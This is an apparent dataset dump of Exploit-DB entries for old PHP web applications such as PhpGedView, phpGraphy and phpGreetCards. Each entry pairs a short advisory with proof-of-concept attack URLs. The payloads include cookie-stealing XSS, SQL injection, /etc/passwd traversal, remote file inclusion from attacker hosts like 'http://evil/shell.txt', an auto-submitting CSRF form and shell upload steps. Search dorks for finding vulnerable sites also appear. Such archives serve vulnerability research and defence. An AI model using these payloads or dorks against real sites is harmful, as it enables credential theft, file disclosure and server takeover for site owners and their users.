deardaniel/secdata-raw huggingface dataset:
Exploit-DB #24829
Description: PHPGedView 2.5/2.6 - 'login.php?URL' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2004-01-12
Author: JeiAr

Exploit:
source: https://www.securityfocus.com/bid/11903/info

It is reported that PhpGedView is affected by a cross-site scripting vulnerability. This issue is due to a failure of the application to properly sanitize user-supplied URI input.

This issue could permit a remote attacker to create a malicious URI link that includes hostile HTML and script code. If this link were to be followed, the hostile code may be rendered in the web browser of the victim user. This would occur in the security context of the affected web site and may allow for theft of cookie-based authentication credentials or other attacks.

http://www.example.com/phpgedview/login.php?url=/index.php?GEDCOM="><iframe>
Exploit-DB #24830
Description: PHPGedView 2.5/2.6 - 'login.php?Username' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2004-01-12
Author: JeiAr

Exploit:
source: https://www.securityfocus.com/bid/11904/info

It is reported that PhpGedView is affected by a cross-site scripting vulnerability. This issue is due to a failure of the application to properly sanitize user-supplied URI input.

This issue could permit a remote attacker to create a malicious URI link that includes hostile HTML and script code. If this link were to be followed, the hostile code may be rendered in the web browser of the victim user. This would occur in the security context of the affected web site and may allow for theft of cookie-based authentication credentials or other attacks.

http://www.example.com/phpgedview/login.php?action=login&username="><iframe>
Exploit-DB #24835
Description: PHPGedView 2.5/2.6 - 'Placelist.php' SQL Injection
Type: webapps
Platform: php
Date: 2004-01-12
Author: JeiAr

Exploit:
source: https://www.securityfocus.com/bid/11910/info

It is reported that PhpGedView is susceptible to a remote SQL injection vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input prior to including it in an SQL query.

This issue allows remote attackers to manipulate query logic, leading to unauthorized access and the disclosure of potentially sensitive information. The issue also allows the possible corruption of database data leading to a loss of integrity. SQL injection attacks may also be used to exploit latent vulnerabilities in the underlying database.

This issue has been reported to effect PhpGedView 2.65beta5 and earlier.

http://www.example.com/phpgedview/placelist.php?level=1[Evil_Query]
http://www.example.com/phpgedview/placelist.php?level=1&parent[0]=[Evil_Query]
http://www.example.com/phpgedview/placelist.php?level=2&parent[0]=&parent[1]=[Evil_Query]
Exploit-DB #24832
Description: PHPGedView 2.5/2.6 - 'Relationship.php' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2004-01-12
Author: JeiAr

Exploit:
source: https://www.securityfocus.com/bid/11906/info
 
It is reported that PhpGedView is affected by a cross-site scripting vulnerability. This issue is due to a failure of the application to properly sanitize user-supplied URI input.

This issue could permit a remote attacker to create a malicious URI link that includes hostile HTML and script code. If this link were to be followed, the hostile code may be rendered in the web browser of the victim user. This would occur in the security context of the affected web site and may allow for theft of cookie-based authentication credentials or other attacks.

http://www.example.com/phpgedview/relationship.php?path_to_find="><iframe>
http://www.example.com/phpgedview/relationship.php?path_to_find=0&pid1="><iframe>
http://www.example.com/phpgedview/relationship.php?path_to_find=0&pid1=&pid2="><iframe>
Exploit-DB #24819
Description: PHPGedView 2.5/2.6 - 'Source.php' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2004-01-12
Author: JeiAr

Exploit:
source: https://www.securityfocus.com/bid/11888/info

It is reported that PhpGedView is affected by a cross-site scripting vulnerability. This issue is due to a failure of the application to properly sanitize user-supplied URI input.

This issue could permit a remote attacker to create a malicious URI link that includes hostile HTML and script code. If this link were to be followed, the hostile code may be rendered in the web browser of the victim user. This would occur in the security context of the affected web site and may allow for theft of cookie-based authentication credentials or other attacks.

http://www.example.com/phpgedview/source.php?sid=<iframe>
Exploit-DB #24837
Description: PHPGedView 2.5/2.6 - 'Timeline.php' SQL Injection
Type: webapps
Platform: php
Date: 2004-01-12
Author: JeiAr

Exploit:
source: https://www.securityfocus.com/bid/11925/info

It is reported that PhpGedView is susceptible to a remote SQL injection vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input prior to including it in an SQL query.

This issue allows remote attackers to manipulate query logic. The issue could theoretically be exploited to compromise the software by performing unauthorized actions on the database, such as modifying or viewing data. SQL injection attacks may also be used to exploit latent vulnerabilities in the underlying database. This may depend on the nature of the query being manipulated as well as the capabilities of the database implementation.

This issue has been reported to effect PhpGedView 2.65beta5 and earlier.

http://www.example.com/phpgedview/timeline.php?pids=[Evil_Query]
Exploit-DB #23520
Description: PHPGedView 2.61 - Multiple Remote File Inclusions
Type: webapps
Platform: php
Date: 2004-01-06
Author: Windak

Exploit:
source: https://www.securityfocus.com/bid/9368/info

PhpGedView is prone to multiple file include vulnerabilities. The source of the issue is that a number of scripts that ship with the software permit remote users to influence require() paths for various external files. This will permit remote attackers to cause malicious PHP scripts from attacker-controlled servers to be included and subsequently executed in the context of the web server hosting the vulnerable software.

These issues are reported to affect PhpGedView 2.61. Other versions are also likely affected.

http://www.example.com/phpgedview_folder/authentication_index.php?PGV_BASE_DIRECTORY=http://[attacker's_site]
http://www.example.com/phpgedview_folder/functions.php?PGV_BASE_DIRECTORY=http://[attacker's_site]
http://www.example.com/phpgedview_folder/config_gedcom.php?PGV_BASE_DIRECTORY=http://[attacker's_site]
Exploit-DB #23526
Description: PhpGedView 2.61 - PHPInfo Information Disclosure
Type: webapps
Platform: php
Date: 2004-01-06
Author: Windak

Exploit:
source: https://www.securityfocus.com/bid/9371/info

PhpGedView allows remote users to access information displayed by the phpinfo() function. This may disclose sensitive information about the environment the software runs in.

This issue is reported to affect PhpGedView 2.61. Other versions are also likely affected.

http://www.example.com/phpgedview_folder/admin.php?action=phpinfo
Exploit-DB #23525
Description: PhpGedView 2.61 - Search Script Cross-Site Scripting
Type: webapps
Platform: php
Date: 2004-01-06
Author: Windak

Exploit:
source: https://www.securityfocus.com/bid/9369/info

PhpGedView is prone to a cross-site scripting vulnerability. Remote attackers may create malicious links to this script that include hostile HTML and script code. If such a link was followed by a victim user, the attacker-supplied code would be rendered in the security context of the site hosting the software.

This could be exploited to steal cookie-based authentication credentials. Other attacks are also possible.

This issue is reported to affect PhpGedView 2.61. Other versions are also likely affected.

http://localhost/phpgedview/search.php?action=soundex&firstname="><script>alert(document.cookie)</script>
Exploit-DB #24810
Description: PHPGedView 2.x - 'Descendancy.php' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2004-01-19
Author: JeiAr

Exploit:
source: https://www.securityfocus.com/bid/11868/info

It is reported that PhpGedView is affected by a cross-site scripting vulnerability. This issue is due to a failure of the application to properly sanitize user-supplied URI input.

This issue could permit a remote attacker to create a malicious URI link that includes hostile HTML and script code. If this link were to be followed, the hostile code may be rendered in the web browser of the victim user. This would occur in the security context of the affected web site and may allow for theft of cookie-based authentication credentials or other attacks.

http://www.example.com/phpgedview/descendancy.php?pid=<iframe>
Exploit-DB #23616
Description: PHPGedView 2.x - 'Editconfig_gedcom.php' Directory Traversal
Type: webapps
Platform: php
Date: 2004-01-30
Author: Cedric Cochin

Exploit:
source: https://www.securityfocus.com/bid/9529/info

It has been reported that PhpGedView may be prone to a directory traversal vulnerability that may allow a remote attacker to access files outside the server root directory. The problem exists due to insufficient sanitization of user-supplied data via the 'gedcom_config' parameter of the 'editconfig_gedcom.php' script.

PhpGedView versions 2.65.1 and prior have been reported to be prone to this issue.

http://www.example.com/[phpGedView-directory]/editconfig_gedcom.php?gedcom_config=../../../../../../etc/passwd
Exploit-DB #23617
Description: PHPGedView 2.x - '[GED_File]_conf.php' Remote File Inclusion
Type: webapps
Platform: php
Date: 2004-01-30
Author: Cedric Cochin

Exploit:
source: https://www.securityfocus.com/bid/9531/info

It has been reported that PhpGedView may be prone to a remote file include vulnerability that may allow an attacker to include malicious files containing arbitrary code to be executed on a vulnerable system. The problem reportedly exists because remote users may influence the 'PGV_BASE_DIRECTORY' variable in the [GED_File]_conf.php module, which specifies an include path.

PhpGedView versions 2.65.1 and prior have been reported to be prone to this issue.

http://www.example.com/[phpGedView-directory]/index/[GED_File]_conf.php?PGV_BASE_DIRECTORY=http://attacker&THEME_DIR=/
Exploit-DB #30534
Description: PHPGedView 4.1 - 'login.php' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2007-08-27
Author: Joshua Morin

Exploit:
source: https://www.securityfocus.com/bid/25458/info

PhpGedView is prone to a cross-site scripting vulnerability because it fails to properly sanitize user-supplied input.

Exploiting this vulnerability may allow an attacker to perform cross-site scripting attacks on unsuspecting users in the context of the affected website. As a result, the attacker may be able to steal cookie-based authentication credentials and to launch other attacks.

PhpGedView 4.1 is vulnerable; other versions may also be affected. 

http://www.example.com/genealogy/login.php?action=login&username=[xss]
Exploit-DB #9155
Description: PHPGenealogy 2.0 - 'DataDirectory' Remote File Inclusion
Type: webapps
Platform: php
Date: 2009-07-15
Author: Khashayar Fereidani

Exploit:
#####################################################################################
####                           PHPGenealogy v2.0 Rfi                             ####
#####################################################################################
#                                                                                   #
#AUTHOR : Sina Yazdanmehr (R3d.W0rm)                                                #
#Discovered by : Sina Yazdanmehr (R3d.W0rm)                                         #
#Our Site : http://ircrash.com                                                      #
#My Official WebSite : http://r3dw0rm.ir                                            #
#IRCRASH Team Members : Khashayar Fereidani - R3d.w0rm (Sina Yazdanmehr)            #
#####################################################################################
#                                                                                   #
#Download : http://sourceforge.net/project/showfiles.php?group_id=98241             #
#                                                                                   #
#Dork : PHPGÃ©nÃ©alogie fonctionne sur un serveur PHP                                 #
#                                                                                   #
#####################################################################################
#                                      [Bug]                                        #
#                                                                                   #
#http://[site]/[path]/CoupleDB.php?Parametre=0&DataDirectory=http://evil/shell.txt? #
#                                                                                   #
###################################### TNX GOD ######################################

# milw0rm.com [2009-07-15]
Exploit-DB #2732
Description: PHPGiggle 12.08 - 'CFG_PHPGIGGLE_ROOT' File Inclusion
Type: webapps
Platform: php
Date: 2006-11-06
Author: ajann

Exploit:
*******************************************************************************
# Title  :  Php Giggle  <= 12.08 Remote File Include Vulnerability

# Author :   ajann

# Vuln;

*******************************************************************************
[File]
startup.php
[/File]

[Code,1]
startup.php Error:

..
....
include($CFG_PHPGIGGLE_ROOT . $CFG_MODULE_ROOT .
"/kernel/system/modregistry.inc.php");
include($CFG_PHPGIGGLE_ROOT . $CFG_MODULE_ROOT .
"/kernel/public/msg.func.php");
include($CFG_PHPGIGGLE_ROOT . $CFG_MODULE_ROOT .
"/kernel/public/fileio.func.php");

       //once the file I/O wrapper is brought up, it is convenient to use
       //function fileInclude
....
..

Key [:] CFG_PHPGIGGLE_ROOT=[file]

\Example:

http://target.com/path/modules/kernel/system/startup.php?CFG_PHPGIGGLE_ROOT=[Shell]

# ajann,Turkey
# ...
# Im not Hacker!

http://www.comscripts.com/scripts/php.phpgiggle.565.html =>      Télécharger

# milw0rm.com [2006-11-06]
Exploit-DB #31581
Description: PHPGKit 0.9 - 'connexion.php' Remote File Inclusion
Type: webapps
Platform: php
Date: 2008-03-31
Author: ZoRLu

Exploit:
source: https://www.securityfocus.com/bid/28526/info

PhpGKit is prone to a remote file-include vulnerability because it fails to properly sanitize user-supplied input.

An attacker can exploit this issue to execute malicious PHP code in the context of the webserver process. This may allow the attacker to compromise the application and the underlying system; other attacks are also possible.

PhpGKit 0.9 is vulnerable; other versions may also be affected.

http://www.example.com/phpg_kit_path/connexion.php?DOCUMENT_ROOT=ZoRLu.txt?
Exploit-DB #35678
Description: phpGraphy 0.9.13b - 'theme_dir' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2011-04-28
Author: High-Tech Bridge SA

Exploit:
source: https://www.securityfocus.com/bid/47634/info

phpGraphy is prone to a cross-site scripting vulnerability because it fails to sufficiently sanitize user-supplied data.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks.

phpGraphy 0.9.13b is vulnerable; other versions may also be affected. 

http://www.example.com/themes/default/header.inc.php?theme_dir=%22%3E%3Cscript%3Ealert%28document.cookie%29;%3C/script%3E
Exploit-DB #17226
Description: phpGraphy 0.9.13b - Multiple Vulnerabilities
Type: webapps
Platform: php
Date: 2011-04-29
Author: High-Tech Bridge SA

Exploit:
=====================================
Vulnerability ID: HTB22959
Reference: http://www.htbridge.ch/advisory/csrf_cross_site_request_forgery_in_phpgraphy.html
Product: phpGraphy 
Vendor: http://phpgraphy.sourceforge.net/ ( http://phpgraphy.sourceforge.net/ ) 
Vulnerable Version: 0.9.13b
Vendor Notification: 14 April 2011 
Vulnerability Type: CSRF (Cross-Site Request Forgery)
Risk level: Low 
Credit: High-Tech Bridge SA Security Research Lab ( http://www.htbridge.ch/advisory/ ) 

Vulnerability Details:
The vulnerability exists due to failure in the "index.php" script to properly verify the source of HTTP request.
Successful exploitation of this vulnerability could result in a compromise of the application, theft of cookie-based authentication credentials, disclosure or modification of sensitive data.
Attacker can use browser to exploit this vulnerability. The following PoC is available: 


<form action="http://[host]/index.php" method="post" name="main" id="main">
<input type="hidden" name="createdirname" value="1">
<input type="hidden" name="dircreate" value="1">
<input type="hidden" name="dir" value="">
<input type="hidden" name="submit" value="OK">
<input type="submit" id="btn"> 
</form>
<script>
document.getElementById('btn').click();
</script>


=====================================
Vulnerability ID: HTB22958
Reference: http://www.htbridge.ch/advisory/xss_in_phpgraphy.html
Product: phpGraphy 
Vendor: http://phpgraphy.sourceforge.net/ ( http://phpgraphy.sourceforge.net/ ) 
Vulnerable Version: 0.9.13b
Vendor Notification: 14 April 2011 
Vulnerability Type: XSS (Cross Site Scripting)
Risk level: Medium 
Credit: High-Tech Bridge SA Security Research Lab ( http://www.htbridge.ch/advisory/ ) 

Vulnerability Details:
User can execute arbitrary JavaScript code within the vulnerable application.
The vulnerability exists due to failure in the "/themes/default/header.inc.php" script to properly sanitize user-supplied input in "theme_dir" variable then register_globals on. 
Successful exploitation of this vulnerability could result in a compromise of the application, theft of cookie-based authentication credentials, disclosure or modification of sensitive data.

The following PoC is available:  


http://[host]/themes/default/header.inc.php?theme_dir=%22%3E%3Cscript%3Ealert%28document.cookie%29;%3C/script%3E
Exploit-DB #8438
Description: phpGreetCards - Config File Disclosure
Type: webapps
Platform: php
Date: 2009-04-15
Author: InjEctOr5

Exploit:
                          ||          ||   | ||        
                   o_,_7 _||  . _o_7 _|| 4_|_||  o_w_, 
                  ( :   /    (_)    /           (   .  
|-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=|
|     _                   __           __       __          ______     |
|   /' \            __  /'__`\        /\ \__  /'__`\       /\  ___\    |
|  /\_, \    ___   /\_\/\_\L\ \    ___\ \ ,_\/\ \/\ \  _ __\ \ \__/    |
|  \/_/\ \ /' _ `\ \/\ \/_/_\_<_  /'___\ \ \/\ \ \ \ \/\`'__\ \___``\  |
|     \ \ \/\ \/\ \ \ \ \/\ \L\ \/\ \__/\ \ \_\ \ \_\ \ \ \/ \/\ \L\ \ |
|      \ \_\ \_\ \_\_\ \ \ \____/\ \____\\ \__\\ \____/\ \_\  \ \____/ |
|       \/_/\/_/\/_/\ \_\ \/___/  \/____/ \/__/ \/___/  \/_/   \/___/  |
|                  \ \____/ >> Kings of injection                      |
|                   \/___/                                             |
|                                                                      |
|-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=|


<<!>> Found by  :  Cyb3r-1sT

<<!>> C0ntact : cyb3r-1st [at] hotmail.com 
                   
<<!>> Groups : InjEctOr5 T3am 

=======================================================
+++++++++++++++++++ Script information+++++++++++++++++
=======================================================

<<->> script   :: phpGreetCards

<<->> demo site :: www.w2b.ru/demo/phpGreetCards/
=======================================================
+++++++++++++++++++++++ Exploit +++++++++++++++++++++++
=======================================================

<<->> Exploit :: Remote Config File Disclosure
 
                >>> http://www.cyb3r.1st/ [path] /conf/conf.inc

=======================================================
++++++++++++++++++++++ Greetz +++++++++++++++++++++++++
=======================================================

<<->> All freinds , all muslims , [ www.tryag.com ] , [ www.7rs.org ] , [ sec-code.com ] , hackteach, and all arabic sites

# milw0rm.com [2009-04-15]
Exploit-DB #7561
Description: phpGreetCards - Cross-Site Scripting / Arbitrary File Upload
Type: webapps
Platform: php
Date: 2008-12-23
Author: ahmadbady

Exploit:
...................................................................................................

****(remote shell upload/xss)****

script: phpGreetCards
   
***************************************************************************
download from:http://www.w2b.ru/download/phpGreetCards.zip
   
***************************************************************************
www.site.com/path/index.php?mode=select&category

shell: www.site.com/path/userfiles/number_shell.php
-----------------------------------------------------------------------------------------
dork:"powered by phpGreetCards"

if folder userfiles is forbidden
after get upload file u do right-click and see image properties and u see address file.
  
------------------------------------------------------------------------------------------
xss:
index.php?mode=select&category=>"><ScRiPt%20%0a%0d>alert(0)%3B</ScRiPt>  
**************************************************


Author: ahmadbady 

**************************************************

# milw0rm.com [2008-12-23]
Exploit-DB #12345
Description: phpGreetCards 3.7 - Cross-Site Scripting
Type: webapps
Platform: php
Date: 2010-04-22
Author: Valentin

Exploit:
[:::::::::::::::::::::::::::::::::::::: 0x1 ::::::::::::::::::::::::::::::::::::::]
>> General Information 
Advisory/Exploit Title = phpGreetCards XSS Vulnerabilities
Author = Valentin Hoebel
Contact = valentin@xenuser.org

 
[:::::::::::::::::::::::::::::::::::::: 0x2 ::::::::::::::::::::::::::::::::::::::]
>> Product information
Name = phpGreetCards
Vendor = W2B
Vendor Website = http://www.w2bpm.com/
Affected Version(s) = 3.7


[:::::::::::::::::::::::::::::::::::::: 0x3 ::::::::::::::::::::::::::::::::::::::]
>> #1 Vulnerability
Multiple XSS possibilities on multiple parameters, e.g. when creating an ecard:

index.php?mode=select&category=XX&card[image]=XX&card[sender_name]=~XSS~&card[sender_email]=XX&card[recip_name]=~XSS~&card[recip_email]=XX&card[stamp]=XX&card[bg]=%23B8C2C9&card[font_color]=%23A2ABB1&card[category]=XX&PHPSESSID=XX


[:::::::::::::::::::::::::::::::::::::: 0x4 ::::::::::::::::::::::::::::::::::::::]
>> Additional Information
Advisory/Exploit Published = 22.04.2010


[:::::::::::::::::::::::::::::::::::::: 0x5 ::::::::::::::::::::::::::::::::::::::]
>> Misc
Greetz && Thanks = inj3ct0r team, Exploit DB, hack0wn and ExpBase!


[:::::::::::::::::::::::::::::::::::::: EOF ::::::::::::::::::::::::::::::::::::::]
Exploit-DB #2476
Description: PHPGreetz 0.99 - 'footer.php' Remote File Inclusion
Type: webapps
Platform: php
Date: 2006-10-04
Author: mozi

Exploit:
# Author: mozi2weed@yahoo.com mozi
# phpGreetz Remote File Inclusion Vulnerability
# Greetz: Raver #phpfreaks eu.undernet.org
# Greetz: SpiderZ , fUSiON
----------------------------------------------------------------
Download: http://sourceforge.net/project/showfiles.php?group_id=6127
------------------------------------------------------------------
<? include("$PHPGREETZ_INCLUDE_DIR/language/langlist.php"); ?>
("phpgreetz-global.inc.php");
("$PHPGREETZ_INCLUDE_DIR/language/lang.$session_lang.inc.php");
<td colspan="2" valign="top" align="left"><? include($site_location . "/includes/navigation.php"); ?>
$PHPGREETZ_INCLUDE_DIR = "$site_location/includes";
_________________________________________________________________
http://site.com/[path]/includes/footer.php?PHPGREETZ_INCLUDE_DIR=Evil
.
### eu.undernet.org #phpfreaks team
RaVeR -- nutzulake@yahoo.com
mozi -- mozi2weed@yahoo.com mozilla0@hotmail.com
 
#phpfreaks again
# heh tnx

# milw0rm.com [2006-10-04]